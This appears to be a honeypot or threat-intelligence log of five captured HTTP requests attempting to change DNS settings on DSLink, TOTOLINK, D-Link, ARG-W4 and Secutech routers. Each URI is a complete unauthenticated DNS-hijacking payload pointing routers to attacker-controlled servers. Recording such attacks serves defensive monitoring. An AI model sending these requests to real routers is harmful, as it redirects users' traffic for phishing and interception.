Remote DNS changing exploit attempt targeting 5 different router models
Source IP Country ASN ASN Name User Agent Method URI Target Device Target Port Date Last Seen
35.229.230.36 United States AS15169 &quot; Google LLC&quot; curl&#x2F;7.52.1 GET &#x2F;action?dns_status=1&amp;dns_poll_timeout=2&amp;id=57&amp;dns_server_ip_1=195&amp;dns_server_ip_2=128&amp;dns_server_ip_3=126&amp;dns_server_ip_4=165&amp;priority=1&amp;cmdadd=add DSLink 260E Routers 81&#x2F;tcp 2019-03-26T08:06:28Z
35.229.230.36 United States AS15169 &quot; Google LLC&quot; curl&#x2F;7.52.1 GET &#x2F;boafrm&#x2F;formbasetcpipsetup?dnsmode=dnsmanual&amp;dns1=195.128.126.165&amp;dns2=195.128.124.131&amp;dns3=195.128.124.131&amp;dnsrefresh=1 TOTOLINK Routers 81&#x2F;tcp 2019-03-26T08:06:28Z
35.229.230.36 United States AS15169 &quot; Google LLC&quot; curl&#x2F;7.52.1 GET &#x2F;dnscfg.cgi?dnsPrimary=195.128.126.165&amp;dnsSecondary=195.128.124.131&amp;dnsDynamic=0&amp;dnsRefresh=1 D-Link Routers 81&#x2F;tcp 2019-03-26T08:06:28Z
35.229.230.36 United States AS15169 &quot; Google LLC&quot; curl&#x2F;7.52.1 GET &#x2F;form2dns.cgi?dnsmode=1&amp;dns1=195.128.126.165&amp;dns2=195.128.124.131&amp;dns3=&amp;submit.htm?dns.htm=send&amp;save=apply ARG-W4 ADSL Routers 81&#x2F;tcp 2019-03-26T08:06:28Z
35.229.230.36 United States AS15169 &quot; Google LLC&quot; curl&#x2F;7.52.1 GET &#x2F;wan_dns.asp?go=wan_dns.asp&amp;reboottag=&amp;dsen=1&amp;dnsen=on&amp;ds1=195.128.126.165&amp;ds2=195.128.124.131 Secutech Routers 81&#x2F;tcp 2019-03-26T08:06:28Z